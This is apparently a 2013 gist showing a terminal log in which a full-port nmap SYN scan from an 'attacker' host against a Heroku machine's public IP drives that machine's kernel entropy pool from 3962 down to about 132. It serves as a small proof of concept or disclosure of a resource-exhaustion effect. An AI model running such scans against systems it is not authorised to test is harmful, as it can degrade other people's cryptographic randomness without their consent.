Created
July 15, 2013 03:23
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Remotely deplete entropy on linux boxes via SYN scan
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| # Heroku box | |
| heroku$ curl icanhazip.com | |
| 54.242.20.250 | |
| heroku$ cat /proc/sys/kernel/random/entropy_avail | |
| 3962 | |
| ########### | |
| attacker$ sudo nmap -sS -p 1-65535 54.242.20.250 | |
| heroku$ cat /proc/sys/kernel/random/entropy_avail | |
| 3337 | |
| heroku$ cat /proc/sys/kernel/random/entropy_avail | |
| 524 | |
| heroku$ cat /proc/sys/kernel/random/entropy_avail | |
| 160 | |
| heroku$ cat /proc/sys/kernel/random/entropy_avail | |
| 163 | |
| heroku$ cat /proc/sys/kernel/random/entropy_avail | |
| 157 | |
| heroku$ cat /proc/sys/kernel/random/entropy_avail | |
| 151 | |
| heroku$ cat /proc/sys/kernel/random/entropy_avail | |
| 138 | |
| heroku$ cat /proc/sys/kernel/random/entropy_avail | |
| 133 | |
| heroku$ cat /proc/sys/kernel/random/entropy_avail | |
| 132 |
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